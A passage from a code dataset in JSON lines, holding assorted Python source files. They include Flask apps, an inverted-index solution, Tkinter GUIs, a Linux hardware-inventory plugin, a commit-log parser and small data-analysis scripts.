UserKnownHostsFile=/dev/null ubuntu@%s %s' % (ip, command)\n output = check_output(command, shell=True)\n text = output.decode('utf-8').splitlines()\n process_list_started = False\n for line in text:\n if line.startswith('%Cpu(s)'):\n cpu_usage = line.split()[0]\n if process_list_started:\n process = line\n break\n if line.startswith(' PID USER'):\n process_list_started = True\n\n rows = process.split()\n current_process = ' '.join(rows[10:])\n output = '{} {}'.format(cpu_usage, current_process)\n worker.current_status = output\n worker.save()","sub_path":"pycfiles/mendelmd-1.2.4-py3.7/tasks.cpython-37.py","file_name":"tasks.cpython-37.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"87727862","text":"import json\nfrom flask import Flask, render_template, request\n\nfrom config import ES_INDEX\nfrom settings import es\n\n\napplication = Flask(__name__)\n\n\n@application.route('/')\ndef index():\n\tcoords = []\n\treturn render_template(\"welcome.html\",\n coords=json.dumps(coords),\n )\n\n\n@application.route('/category', methods=['GET'])\ndef category():\n\tif request.method == 'GET':\n\t\tcategory = request.args.get('category')\n\t\tes_data = es.search(index=ES_INDEX, body={\"query\": {\"match\": {\"text\": category}}}, size=600)\n\t\tcoords = []\n\t\tfor data in es_data['hits']['hits']:\n\t\t\tif len(data['_source']['coordinates']) > 0:\n\t\t\t\tgeo_data = data['_source']['coordinates'][0]['geometry']['location']\n\t\t\t\tlat = geo_data['lat']\n\t\t\t\tlng = geo_data['lng']\n\t\t\t\tcoords.append([lat, lng])\n\t\treturn render_template(\"twittmap.html\",\n\t coords=json.dumps(coords),\n\t )\n\n\nif __name__ == \"__main__\":\n application.run(debug=True)","sub_path":"application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"36306858","text":"from . import main\nfrom flask import render_template, session, redirect, url_for, flash\nfrom datetime import datetime\nfrom forms import NameForm\nfrom app.models import User\nfrom app import db\n\n@main.route('/', methods = ['GET','POST'])\ndef index():\n\tform = NameForm()\n\tif form.validate_on_submit():\n\t\tuser = User.query.filter_by(username=form.name.data).first()\n\t\tif user is None:\n\t\t\tuser = User(username=form.name.data)\n\t\t\tdb.session.add(user)\n\t\t\t#db.session.commit()\n\t\t\tsession['known'] = False\n\t\telse:\n\t\t\tsession['known'] = True\n\t\tsession['name'] = form.name.data\n\t\tform.name.data = ''\n\t\treturn redirect('/')\n\treturn render_template('index.html', current_time = datetime.utcnow(), form = form, name = session.get('name'), known = session.get('known', False))\n\n@main.route('/user/')\ndef user(name):\n\treturn render_template('user.html', name = name)\n\n@main.route('/life')\ndef life():\n\treturn render_template('life.html')\n\n@main.route('/programming')\ndef programming():\n\treturn render_template('programming.html')","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"342187334","text":"'''\nCreate an inverted index with given documents. Ensure that data does not include punctuation.\n\nExample\nGiven a list of documents with id and content. (class Document)\n[\n {\n \"id\": 1,\n \"content\": \"This is the content of document 1 it is very short\"\n },\n {\n \"id\": 2,\n \"content\": \"This is the content of document 2 it is very long bilabial bilabial heheh hahaha ...\"\n },\n]\n\nReturn an inverted index (HashMap with key is the word and value is a list of document ids).\n{\n \"This\": [1, 2],\n \"is\": [1, 2],\n ...\n}\n'''\n\n'''\nDefinition of Document\nclass Document:\n def __init__(self, id, cotent):\n self.id = id\n self.content = content\n'''\n\nclass Solution:\n # @param {Document[]} docs a list of documents\n # @return {dict(string, int[])} an inverted index\n def invertedIndex(self, docs):\n import collections, re\n ans = collections.defaultdict(list)\n\n for doc in docs:\n words = re.split(r'\\s+|[,;.]\\s*', doc.content)\n #words = re.split('\\W+', doc.content) #split by all non-words char, bug on word 'self-motivated'\n words = set(words)\n words.discard('')\n for w in words:\n ans[w].append(doc.id)\n return ans\n","sub_path":"Python/inverted-index.py","file_name":"inverted-index.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"52519168","text":"from tkinter import *\nfrom tkinter import PhotoImage\nimport sqlite3\nfrom tkinter import messagebox\nfrom time import strftime\nfrom datetime import date\nfrom subprocess import call\n\nhj = date.today()\ndias = ('Segunda-feira', 'Terça-feira', 'Quarta-feira', 'Quinta-feira', 'Sexta-feira', 'Sábado', 'Domingo')\nmes = {1:'janeiro', 2:'fevereiro', 3:'março', 4:'abril', 5:'maio', 6:'junho', 7:'julho', 8:'agosto', 9:'setembro', 10:'outubro', 11:'novembro', 12:'dezembro'}\njanela = Tk()\ndia_la = Label(janela,text=(dias[hj.weekday()]+','+ ' '+ str(hj.day)+' '+'de'+' '+str(mes[hj.month])+' '+'de'+' '+str(hj.year)), font='Helvita 50 bold', fg='blue')\ndia_la.place(x=200, y=750)\n\n\nrel = Label(janela,font= 'Helvita 50 bold', fg= 'blue')\nrel.place(x=1325,y=750)\ndef contador(): # funcao contador\n agora = strftime('%H:%M:%S')\n if rel['text'] != agora:\n rel['text'] = agora\n rel.after(100, contador)\ncontador()\n\nwelcome = Label(janela,text=['text'], font= 'Helvita 60 bold', fg= 'blue')\nwelcome.place(x=230, y=200)\ndef upwel():\n agora = strftime('%H:%M:%S')\n if agora <= str(12):\n welcome['text'] = ('Bom Dia !')\n elif agora <= str(18):\n welcome['text'] = ('Boa Tarde !')\n else:\n welcome['text'] = ('Boa Noite !')\n welcome.after(100, upwel)\nupwel()\n\njanela.title('Sistema Salão')\njanela.state('zoomed')\njanela.config()\njanela.geometry('900x600')\n\n\nclass Aplication:\n def __init__(self, master, *args, **kwargs):\n self.master = master\n\n self.frame1 = Frame(master, width=200, height=1500,\n bg='#222125',bd=5, relief='raise')\n self.frame1.pack(side=LEFT)\n\n self.label1 = Label(master, text='Barber Shop', font=('arial', 55, 'bold'))\n self.label1.pack()\n\n\n self.caixa = Button(self.frame1, text='Caixa', fg='#f97303',bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'), command=self.home_caixa ).place(x=10, y=5)\n\n self.agenda = Button(self.frame1, text='Agenda', fg='#f97303',bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'),command=self.agenda ).place(x=10, y=125)\n\n self.cadprod = Button(self.frame1, text='Cadastro\\nProduto', fg='#f97303',bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms',15, 'bold'),command=self.cadprod ).place(x=10, y=245)\n\n self.cadclient = Button(self.frame1, text='Cadastro\\nCliente', fg='#f97303',bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'),command=self.cadcliente ).place(x=10, y=365)\n\n self.cadfornec = Button(self.frame1, text='Cadastro\\nFornecedor', fg='#f97303', bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'),command=self.cadfornecedor ).place(x=10, y=490)\n\n self.aniversario = Button(self.frame1, text='Aniversários', fg='#f97303', bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'), ).place(x=10, y=610)\n\n self.modelo = Button(self.frame1, text='Modelos', fg='#f97303', bg='#505157',\n bd=10, relief='raise', width=12, height=2,\n font=('comic sans ms', 15, 'bold'), ).place(x=10, y=730)\n\n\n self.foto = PhotoImage(file='img.gif')\n self.foto = self.foto.subsample(1, 1)\n self.label = Label(master, image=self.foto)\n self.label.pack()\n\n\n def home_caixa(self):\n call(['python','home_caixa.py'])\n\n def agenda(self):\n call(['python','agendar.py'])\n\n def cadprod(self):\n call(['python','cad_prod.py'])\n\n def cadcliente(self):\n call(['python','cad_cliente.py'])\n\n def cadfornecedor(self):\n call(['python','cad_fornecedor.py'])\n\n\n\napp = Aplication(janela)\njanela.mainloop()\n","sub_path":"main_doc.py","file_name":"main_doc.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"225100134","text":"\n\nfrom xai.brain.wordbase.nouns._smear import _SMEAR\n\n#calss header\nclass _SMEARING(_SMEAR, ):\n\tdef __init__(self,): \n\t\t_SMEAR.__init__(self)\n\t\tself.name = \"SMEARING\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"smear\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_smearing.py","file_name":"_smearing.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"232795000","text":"# coding: utf-8\n__author__ = \"HanQian\"\n__email__ = \"hanqianops@163.com\"\n\nimport os\nimport platform\nimport re\nimport subprocess\nimport time\nimport traceback\n\nfrom lib.base import PluginInterface,BaseResponse\nfrom lib.execute_cmd import shell\nfrom lib.logger import LoggerHelper\n\nlog = LoggerHelper(__file__)\n\n\nclass LinuxSysInfo(PluginInterface):\n def __init__(self):\n self.ret = BaseResponse()\n def shell(cmd, timeout=None):\n \"\"\"\n 执行命令\n :param timeout: 命令超时时间\n :return: list\n \"\"\"\n wait = 0\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n universal_newlines=True, shell=True)\n\n if timeout:\n while True: # 检查命令是否完成\n if p.poll() == 0:\n return p.stdout.read()\n elif wait >= timeout:\n p.kill()\n return [\"CmdTimeOut: {0}\".format(cmd)]\n else:\n wait += 1\n time.sleep(1)\n return p.stdout.read()\n\n def result(self):\n \"\"\"返回采集的信息\"\"\"\n try:\n self.ret.data=self.process()\n log.run_log.info(self.ret.data)\n except Exception as e:\n msg = traceback.format_exc()\n log.error_log.error(msg)\n self.ret.status = False\n self.ret.error = msg\n return self.ret\n \n def process(self):\n \"\"\"处理采集到的结果，在子类中重写该方法\"\"\"\n return NotImplemented(\"必须定义 process 方法\")\n \n \nclass OsPlugin(LinuxSysInfo):\n \"\"\"操作系统信息\"\"\"\n def pocess(self):\n filter_keys = [\"Manufacturer\", \"Serial Number\", \"Product Name\", \"UUID\", \"Wake-up Type\"]\n raw_data = {}\n\n for key in filter_keys:\n try:\n cmd_res = shell(\"dmidecode -t system|grep '%s'\" % key)\n cmd_res = cmd_res.strip()\n\n res_to_list = cmd_res.split(\":\")\n if len(res_to_list) > 1: # the second one is wanted string\n raw_data[key] = res_to_list[1].strip()\n else:\n\n raw_data[key] = -1\n except Exception as e:\n print(e)\n raw_data[key] = -2 # means cmd went wrong\n\n data = {\"asset_type\": \"server\"}\n data[\"manufactory\"] = raw_data[\"Manufacturer\"]\n data[\"sn\"] = raw_data[\"Serial Number\"]\n data[\"model\"] = raw_data[\"Product Name\"]\n data[\"uuid\"] = raw_data[\"UUID\"]\n data[\"os\"] = platform.platform()\n return data\n\nclass CpuPlugin(LinuxSysInfo):\n \"\"\"CPU信息\"\"\"\n def process(self):\n base_cmd = \"cat /proc/cpuinfo\"\n\n raw_data = {\n \"cpu_moel\": \"%s |grep 'model name' |head -1 \" % base_cmd,\n \"cpu_count\": \"%s |grep 'processor'|wc -l\" % base_cmd,\n \"cpu_core_count\": \"%s |grep 'cpu cores' |awk -F: '{SUM +=$2} END {print SUM}'\" % base_cmd,\n }\n\n for k, cmd in raw_data.items():\n cmd_res = shell(cmd)\n raw_data[k] = cmd_res.strip()\n\n data = {\n \"cpu_count\": raw_data[\"cpu_count\"],\n \"cpu_core_count\": raw_data[\"cpu_core_count\"]\n }\n cpu_model = raw_data[\"cpu_model\"].split(\":\")\n if len(cpu_model) > 1:\n data[\"cpu_model\"] = cpu_model[1].strip()\n else:\n data[\"cpu_model\"] = -1\n\n return data\n\nclass NicPlugin(LinuxSysInfo):\n \"\"\"网卡信息\"\"\"\n def process(self):\n raw_data = shell(\"ifconfig -a\")\n raw_data = raw_data.split(\"\\n\")\n nic_dic = {}\n next_ip_line = False\n last_mac_addr = None\n for line in raw_data:\n if next_ip_line:\n # print last_mac_addr\n # print line #, last_mac_addr.strip()\n next_ip_line = False\n nic_name = last_mac_addr.split()[0]\n mac_addr = last_mac_addr.split(\"HWaddr\")[1].strip()\n raw_ip_addr = line.split(\"inet addr:\")\n raw_bcast = line.split(\"Bcast:\")\n raw_netmask = line.split(\"Mask:\")\n if len(raw_ip_addr) > 1: # has addr\n ip_addr = raw_ip_addr[1].split()[0]\n network = raw_bcast[1].split()[0]\n netmask = raw_netmask[1].split()[0]\n # print(ip_addr,network,netmask)\n else:\n ip_addr = None\n network = None\n netmask = None\n if mac_addr not in nic_dic:\n nic_dic[mac_addr] = {\"name\": nic_name,\n \"macaddress\": mac_addr,\n \"netmask\": netmask,\n \"network\": network,\n \"bonding\": 0,\n \"model\": \"unknown\",\n \"ipaddress\": ip_addr,\n }\n else: # mac already exist , must be boding address\n if \"%s_bonding_addr\" % (mac_addr) not in nic_dic:\n random_mac_addr = \"%s_bonding_addr\" % (mac_addr)\n else:\n random_mac_addr = \"%s_bonding_addr2\" % (mac_addr)\n\n nic_dic[random_mac_addr] = {\"name\": nic_name,\n \"macaddress\": random_mac_addr,\n \"netmask\": netmask,\n \"network\": network,\n \"bonding\": 1,\n \"model\": \"unknown\",\n \"ipaddress\": ip_addr,\n }\n\n if \"HWaddr\" in line:\n # print line\n next_ip_line = True\n last_mac_addr = line\n\n nic_list = []\n for k, v in nic_dic.items():\n nic_list.append(v)\n return nic_list\n\n# 输出异常， 待处理\nclass MemPlugin(LinuxSysInfo):\n \"\"\"内存信息\"\"\"\n def process(self):\n raw_data = shell(\"dmidecode -t 17\")\n raw_list = raw_data.split(\"\\n\")\n raw_ram_list = []\n item_list = []\n for line in raw_list:\n\n if line.startswith(\"Memory Device\"):\n raw_ram_list.append(item_list)\n item_list = []\n else:\n item_list.append(line.strip())\n\n ram_list = []\n for item in raw_ram_list:\n item_ram_size = 0\n ram_item_to_dic = {}\n for i in item:\n # print i\n data = i.split(\":\")\n if len(data) == 2:\n key, v = data\n\n if key == \"Size\":\n # print key ,v\n if v.strip() != \"No Module Installed\":\n ram_item_to_dic[\"capacity\"] = v.split()[0].strip() # e.g split \"1024 MB\"\n item_ram_size = int(v.split()[0])\n # print item_ram_size\n else:\n ram_item_to_dic[\"capacity\"] = 0\n\n if key == \"Type\":\n ram_item_to_dic[\"model\"] = v.strip()\n if key == \"Manufacturer\":\n ram_item_to_dic[\"manufactory\"] = v.strip()\n if key == \"Serial Number\":\n ram_item_to_dic[\"sn\"] = v.strip()\n if key == \"Asset Tag\":\n ram_item_to_dic[\"asset_tag\"] = v.strip()\n if key == \"Locator\":\n ram_item_to_dic[\"slot\"] = v.strip()\n\n if item_ram_size == 0: # empty slot , need to report this\n pass\n else:\n ram_list.append(ram_item_to_dic)\n\n raw_total_size = shell(\"cat /proc/meminfo|grep MemTotal \").split(\":\")\n ram_data = {\"ram\": ram_list}\n if len(raw_total_size) == 2: # correct\n\n total_mb_size = int(raw_total_size[1].split()[0]) / 1024\n ram_data[\"ram_size\"] = total_mb_size\n\n\n return ram_data\n\n# 输出异常， 待处理\nclass DiskPlugin(LinuxSysInfo):\n \"\"\"磁盘信息\"\"\"\n def process(self):\n data = self.linux()\n return data\n\n def linux(self):\n result = {\"physical_disk_driver\":[]}\n\n try:\n script_path = os.path.dirname(os.path.abspath(__file__))\n shell_command = \"sudo %s/MegaCli -PDList -aALL\" % script_path\n output = shell(shell_command)\n result[\"physical_disk_driver\"] = self.parse(output[1])\n except Exception as e:\n result[\"error\"] = e\n return result\n\n def parse(self,content):\n \"\"\"\n 解析shell命令返回结果\n :param content: shell 命令结果\n :return:解析后的结果\n \"\"\"\n response = []\n result = []\n for row_line in content.split(\"\\n\\n\\n\\n\"):\n result.append(row_line)\n for item in result:\n temp_dict = {}\n for row in item.split(\"\\n\"):\n if not row.strip():\n continue\n if len(row.split(\":\")) != 2:\n continue\n key,value = row.split(\":\")\n name =self.mega_patter_match(key)\n if name:\n if key == \"Raw Size\":\n raw_size = re.search(\"(\\d+\\.\\d+)\",value.strip())\n if raw_size:\n\n temp_dict[name] = raw_size.group()\n else:\n raw_size = \"0\"\n else:\n temp_dict[name] = value.strip()\n\n if temp_dict:\n response.append(temp_dict)\n return response\n\n def mega_patter_match(self,needle):\n grep_pattern = {\"Slot\":\"slot\", \"Raw Size\":\"capacity\", \"Inquiry\":\"model\", \"PD Type\":\"iface_type\"}\n for key,value in grep_pattern.items():\n if needle.startswith(key):\n return value\n return False\n\n\n","sub_path":"src/plugins/Linux.py","file_name":"Linux.py","file_ext":"py","file_size_in_byte":10356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"520577272","text":"# Encryptor GUI\n\nimport tkinter as tk\nfrom Encryptor import Encryptor\n\nclass Application(tk.Frame):\n\n def __init__(self, master):\n super(Application, self).__init__(master)\n self.grid()\n self.create_widgets()\n\n def create_widgets(self):\n tk.Label(self,\n text=\"Choose a text file\"\n ).grid(row=0, column=0, columnspan=2, sticky=tk.W)\n\n self.cipher_file = tk.StringVar()\n self.cipher_file.set(None)\n\n tk.Radiobutton(self, text=\"cipher1.txt\",\n variable=self.cipher_file,\n value=\"cipher1.txt\",\n command=self.choose_file\n ).grid(row=1, column=0, sticky=tk.W)\n tk.Radiobutton(self, text=\"cipher2.txt\",\n variable=self.cipher_file,\n value=\"cipher2.txt\",\n command=self.choose_file\n ).grid(row=1, column=1, sticky=tk.W)\n\n tk.Label(self,\n text=\"Enter the message:\"\n ).grid(row=2, column=0, columnspan=2, sticky=tk.W)\n\n self.msg = tk.Text(self, width=100, height=10, wrap=tk.WORD)\n self.msg.grid(row=3, column=0, columnspan=2, sticky=tk.W)\n\n tk.Button(self,\n text=\"Encrypt\",\n command=self.encrypt\n ).grid(row=4, column=0, sticky=tk.W)\n\n tk.Button(self,\n text=\"Decrypt\",\n command=self.decrypt\n ).grid(row=4, column=1, sticky=tk.W)\n\n tk.Label(self,\n text=\"New Message:\"\n ).grid(row=5, column=0, columnspan=2, sticky=tk.W)\n\n self.out_msg = tk.Text(self, width=100, height=10, wrap=tk.WORD)\n self.out_msg.grid(row=6, column=0, columnspan=2, sticky=tk.W)\n\n def choose_file(self):\n self.e = Encryptor(self.cipher_file.get())\n\n def encrypt(self):\n message = self.msg.get(0.0, tk.END)\n encrypted = self.e.encrypt_message(message)\n\n self.out_msg.delete(0.0, tk.END)\n self.out_msg.insert(0.0, encrypted)\n\n def decrypt(self):\n message = self.msg.get(0.0, tk.END)\n decrypted = self.e.decrypt_message(message)\n\n self.out_msg.delete(0.0, tk.END)\n self.out_msg.insert(0.0, decrypted)\n\nroot = tk.Tk()\nroot.title(\"Encryptor/Decryptor\")\nroot.geometry(\"700x500\")\napp = Application(root)\nroot.mainloop()","sub_path":"Python/GUI/EncryptorGUI.py","file_name":"EncryptorGUI.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"74130019","text":"import pandas\nfrom utils import reports\n\n\ndef compare_by_composer(df, method, filter_by=None):\n result = {}\n\n for composer in df.composer.unique():\n ason = df[df.composer == composer]\n\n if filter_by:\n son = ason[ason[method].str.contains(filter_by)]\n else:\n son = ason\n\n result[composer] = son[method].value_counts().to_dict()\n\n ndf = pandas.DataFrame(result)\n ndf.index.name = 'Sonority'\n ndf = ndf.fillna(0)\n\n # make the column names shorter\n ndf.columns = [x[0:5] for x in ndf.columns.values]\n\n for column in ndf.columns.values:\n ndf[column + '%'] = ndf[column]/ndf[column].sum() * 100\n\n return ndf.sort('beeth', ascending=False)\n\n\ndef main(df, args):\n size = len(df.composer.unique())\n\n nf = compare_by_composer(df, \"normal_form_string\")\n intervals = compare_by_composer(df, \"intervals_string\")\n intervals_diss = compare_by_composer(df, \"intervals_string\", filter_by=\"A|d\")\n super_diss = compare_by_composer(df, \"intervals_string\", filter_by=\"AA|dd\")\n\n reports.comparison_method(nf, size, \"normal-form\")\n reports.comparison_method(intervals, size, \"intervals\")\n reports.comparison_method(intervals_diss, size, \"dissonant-intervals\")\n reports.comparison_method(super_diss, size, \"super-dissonant-intervals\")\n\n\nopt_map = (('compare-composers', True, True, False, 'Compare sonorities in all composers'),)\n","sub_path":"analysis/compare_composers.py","file_name":"compare_composers.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"85799877","text":"#місто село к середніх\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom scipy.stats import f_oneway\ndata = pd.read_csv('1.csv', sep=';')\n\nprint(data.head())\n# зображення даних на графіку\nplt.scatter(data['aUrban_1'], data['aRural_1'], c = 'b')\nplt.title('Data Urban/Rural')\nplt.xlabel('Urban')\nplt.ylabel('Rural')\nplt.show()\n\nX = data.iloc[:, [0, 3, 4]].values\n# метод ліктя\nar = []\nfor i in range(1,12):\n kmeans = KMeans(n_clusters= i, init= 'k-means++', random_state= 42)\n kmeans.fit(X[:,[1,2]])\n ar.append(kmeans.inertia_)\nplt.plot(range(1,12), ar)\nplt.title('The Elbow Method')\nplt.xlabel('Number of clusters')\nplt.ylabel('data')\nplt.show()\n#розбиваємо на кластери\nkmeans = KMeans(n_clusters= 3, init= 'k-means++', random_state= 42)\ny_kmeans = kmeans.fit_predict(X[:,[1,2]])\n# виводимо отримані дані на графік\nplt.scatter(X[y_kmeans == 0, 1], X[y_kmeans == 0,2], s = 100,c = 'b', label = 'The best')\nplt.scatter(X[y_kmeans == 1, 1], X[y_kmeans == 1,2], s = 100,c = 'c', label = 'Worst')\nplt.scatter(X[y_kmeans == 2, 1], X[y_kmeans == 2,2], s = 100,c = 'y', label = 'Average')\nplt.scatter(kmeans.cluster_centers_[:,0], kmeans.cluster_centers_[:,1], s=300, c = 'm', label ='centers')\nplt.title('Clusters of countries k-means')\nplt.xlabel('Urban')\nplt.ylabel('Rural')\nplt.legend()\nplt.show()\n# виводимо списки країн\nprint('The best:')\nfor i in X[y_kmeans == 0, 0]:\n print(i)\nprint(\" \")\nprint('Average:')\nfor i in X[y_kmeans == 2, 0]:\n print(i)\nprint(\" \")\nprint('Worst:')\nfor i in X[y_kmeans == 1, 0]:\n print(i)\n# однофакорний дисперсний аналіз по групам країн\nF, p = f_oneway(X[y_kmeans == 0, 1], X[y_kmeans == 0,2])\nprint(\"The Best countries:\")\nprint(np.round(F,2))\nprint(\"p-фактор \" + str(np.round(p,2)))\nprint(\"Average countries:\")\nF, p = f_oneway(X[y_kmeans == 2, 1], X[y_kmeans == 2,2])\nprint(np.round(F,2))\nprint(\"p-фактор \" + str(np.round(p,2)))\nprint(\"Worst countries:\")\nF, p = f_oneway(X[y_kmeans == 1, 1], X[y_kmeans == 1,2])\nprint(np.round(F,2))\nprint(\"p-фактор \" + str(np.round(p,2)))","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":2259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"202274749","text":"changes_file = 'changes_python.txt'\ndata = [line.strip() for line in open(changes_file, 'r')]\nsep = 72*'-'\n\n\nclass Commit:\n 'class for commits'\n \n def __init__(self, revision=None, author=None, fulldate=None, month=None, week=None, date=None, comment_line_count=None, changes=None,\n comment=None, tbldconfig=0, tpixel=0, tgradle=0, tjava=0, txml=0, toth=0, countM=0, countA=0, countD=0):\n self.revision = revision\n self.author = author\n self.fulldate = fulldate\n self.month = month\n self.week = week\n self.date = date\n self.comment_line_count = comment_line_count\n self.changes = changes\n self.comment = comment\n self.tbldconfig = tbldconfig\n self.tpixel = tpixel\n self.tgradle = tgradle\n self.tjava = tjava\n self.txml = txml\n self.toth = toth\n self.countM = countM\n self.countA = countA\n self.countD = countD\n def get_commit_list(self):\n import time\n import datetime\n changes_file = 'changes_python.txt'\n my_file = open(changes_file, 'r')\n data = [line.strip() for line in open(changes_file, 'r')]\n sep = 72*'-'\n commits = []\n index = 0 \n while True:\n try:\n tbldconfig=0\n tpixel=0\n tgradle=0\n tjava=0\n txml=0\n toth=0\n countM = 0\n countA = 0\n countD = 0\n details = data[index + 1].split('|')\n revision = int(details[0].strip().strip('r'))\n author = details[1].strip()\n fulldate = details[2].strip()\n year = int((details[2][0:5]).strip())\n month = int((details[2][6:8]).strip())\n date = int((details[2][9:11]).strip())\n mydate = datetime.date(year,month, date) #year, month, day\n week = (mydate.strftime(\"%W\"))\n comment_line_count = int(details[3].strip().split(' ')[0])\n changes = data[index+2:data.index('',index+1)]\n for change in changes:\n if \"build-config\" in str(change):\n tbldconfig = tbldconfig + 1\n # print typebldconfig, revision, change\n elif \"dpi\" in str(change):\n tpixel = tpixel + 1\n elif \"600dp\" in str(change):\n tpixel = tpixel + 1\n elif \"gradle\" in str(change):\n tgradle = tgradle + 1\n elif \"java\" in str(change):\n tjava = tjava + 1\n elif \"xml\" in str(change):\n txml = txml + 1\n else:\n toth = toth+1\n for change in changes:\n if change[0] == \"M\":\n countM = countM+1\n elif change[0] == \"A\":\n countA = countA+1\n elif change[0] == \"D\":\n countD = countD +1\n index = data.index(sep, index + 1)\n comment = data[index-comment_line_count:index]\n # print type(comment)\n # The object which contains the conveniently misspelt word \"Foother\" can be used for testing\n # It has two lines of comments so can check that both are captured\n # It contains three references to 'Modify' changes so this can also be checked\n # Contains two paths in the changes section that relate to xml type and one that relates to java\n # if \"Foother\" in str(comment):\n # print comment\n # print typexml\n # print typejava\n # print countA\n # print countM\n # print countD\n # break\n w = (author,countD)\n commits.append(w) \n commits.sort(key=lambda s:(s[0],s[1]),reverse=True)\n except IndexError:\n break\n # print \"finished\"\n f1 = open(\"testingtesting8.csv\", \"w\")\n for c in commits:\n #print c[1]\n #f1.write(c[0]+\",\"+str(c[1]))\n f1.write(c[0]+\",\"+str(c[1])+'\\n')\n f1.close\n\n\ncommits = Commit()\ncommits.get_commit_list()\n\n\n#########################################################\n\n\n\n \n","sub_path":"14-processchanges/process_changes8.py","file_name":"process_changes8.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"172974409","text":"from rivr.http import Http404\n\nclass Array(object):\n def __init__(self, *views):\n self.views = views\n \n def __call__(self, request):\n for view in self.views:\n try:\n response = view(request)\n if response:\n return response\n except Http404:\n continue\n \n raise Http404\n","sub_path":"rivr/array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"202981541","text":"import numpy as np\nimport helper.helper as h\nfrom scipy import linalg\nfrom collections import OrderedDict\n\ndef main():\n fA = np.array(h.Helper.getMatrix('matrix.dat'), dtype = np.float32)\n dA = np.array(h.Helper.getMatrix('matrix.dat'), dtype = np.float64)\n fP = np.array([1.0000000, 0.0156250, 0.0000000], dtype = np.float32)\n dP = np.array([1.0000000, 0.0156250, 0.0000000], dtype = np.float64)\n fEps = np.finfo(np.float32).eps\n dEps = np.finfo(np.float64).eps\n\n with open('output.dat', 'a') as output:\n print('\\n--------------------Metadata---------------------', file=output)\n for k, v in h.Helper.getMeta('Kirill', 'Telegin', '3430302/80004').items():\n print(k, v, file=output)\n print(\"\\nMatrix\", file=output)\n print(fA, file=output)\n print('\\n----------------Single precision------------------', file=output)\n for i in range(len(fP)):\n print(\"====================================================\", file=output)\n for k, v in getDesicion(fA,fP[i],fEps).items():\n print(k, v, file=output)\n print(\"====================================================\", file=output)\n\n with open('output.dat', 'a') as output:\n print('\\n-----------Double precision------------', file=output)\n for i in range(len(dP)):\n print(\"====================================================\", file=output)\n for k, v in getDesicion(dA,dP[i],dEps).items():\n print(k, v, file=output)\n print(\"====================================================\", file=output)\n\n\ndef ortVector(array):\n with open('output.dat', 'a') as output:\n print(\"\\nОртогональность\", file=output)\n bufOrtVect = np.zeros(shape=(len(array),len(array)))\n for i in range(len(array)):\n for j in range(len(array)):\n if(i == j):\n continue\n else:\n bufOrtVect[i][j] = np.dot(array[i], array[j])\n print(bufOrtVect, file=output)\n\ndef indexPerfomance(A, eigVect, eigValue, eps):\n bufIP = np.zeros(shape=(len(eigValue)))\n for i in range(len(eigValue)):\n bufIP[i] = np.linalg.norm(np.dot(A,eigVect[i]) - eigValue[i]*eigVect[i])/(len(eigVect)*eps*np.linalg.norm(A)*np.linalg.norm(eigVect))\n return max(bufIP)\n\ndef vectN(A,B):\n bufR = np.zeros(shape=(len(B[1]),len(B[1])))\n i = -1\n for row in B[1]:\n i += 1\n bufR[i] = np.dot(B[0],row) - np.dot(A,row)\n return bufR\n\ndef getDesicion(A, P, eps):\n A = h.Helper.paramAddArray(P, A, 0, 0)\n B = np.linalg.eig(A)\n allValue = OrderedDict({\n 'Current parameter value\\n': P,\n 'Index perfomance\\n': indexPerfomance(A,B[1],B[0], eps),\n 'Eigenvalues\\n': B[0],\n 'Eigenvectors\\n': B[1],\n 'Redisual vectors\\n': vectN(A,B),\n })\n return allValue\n\nmain()\n","sub_path":"6lab/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"419852011","text":"\r\nfrom instrumental import instrument, list_instruments\r\n#from instrumental.drivers.cameras import uc480\r\nfrom instrumental.drivers.cameras import uc480\r\nimport numpy as np\r\nimport time as Time\r\nimport matplotlib.pyplot as plt\r\nimport xarray as xr\r\nimport os\r\nimport time as Time\r\nfrom PyQt5 import QtCore\r\n\r\n\r\n''' \r\n 